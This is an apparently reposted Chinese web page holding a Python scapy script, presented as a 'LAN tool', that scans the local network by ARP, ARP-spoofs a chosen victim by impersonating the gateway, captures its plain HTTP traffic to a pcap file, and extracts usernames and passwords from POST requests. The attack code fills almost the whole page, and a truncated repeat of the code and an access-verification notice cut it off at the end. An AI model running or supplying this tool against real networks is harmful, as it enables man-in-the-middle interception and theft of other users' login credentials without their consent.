阅读背景:

python 实现扫描器,arp欺骗,数据包分析。

来源:互联网 
from scapy.all import * import os import re import time import threading result=os.popen("route print").read() re1=re.findall(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(.+?)\s+(.+?)\s",result) gateway=re1[0][0] #获取本机网关 ip=re1[0][1] #获取本机ip addr={} print(ip,gateway) def scan(IpScan): print("扫描中,请稍候...") #r与srp,发送并接受,且sr不能发送二层协议,srp才能。 #ans是收到的有响应的包,unans指收到的没有响应的包。 ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0) print("本次扫描一共扫描到%d台主机:" % len(ans)) for send,recv in ans: #接受对方回应包里面的Mac地址和IP地址 print("%s----%s"%(recv[Ether].src,recv[ARP].psrc)) #将对方的回应的Mac地址和IP地址存到字典里面key=ip,value=mac addr[recv[ARP].psrc]=recv[Ether].src def cap(tt,m): #监听接收方ip是m的https信息tt秒,并存到pks里面 pkts=sniff(filter="tcp dst port 80 and host {}".format(m),timeout=tt) wrpcap("demo.pcap",pkts) #保存在同一目录,生成demo.pcap文件 print("抓包数据已保存!") def spoof(): m=input("请输入一个攻击目标:") t1=int(input("请输入攻击时间:")) t=threading.Thread(target=cap,args=(t1,m)) t.start() for i in range(t1*5): #arp欺骗,冒充网关给m发包 sendp(Ether(dst=addr[m])/ARP(psrc=gateway,pdst=m),verbose=0) time.sleep(0.1) print("攻击完成!") def analyze(): pkts=rdpcap("demo.pcap")#读取包 for p in pkts: if p.haslayer(Raw):#找出有上网数据的 try: httpr=p.load.decode() if not httpr.startswith("GET"): #找post的包 #userName=17791900663&passWord=abc123456 username=re.findall(r"userName=(\w+)",httpr) pwd=re.findall(r"passWord=(\w+)",httpr) if username and pwd: print(time.ctime(p.time)) print("用户名:",username[0]) print("密码:",pwd[0]) except: pass while 1: print("欢迎使用我的局域网小工具:") print("1 扫描") print("2 欺骗") print("3 分析") print("4 退出") op=input("你的操作:") if op=="1": scan(ip+"/24") elif op=="2": spoof() elif op=="3": analyze() else: break print("再见!") from scapy.all import * import os import re impor



你的当前访问异常,请进行认证后继续阅读剩余内容。

分享到: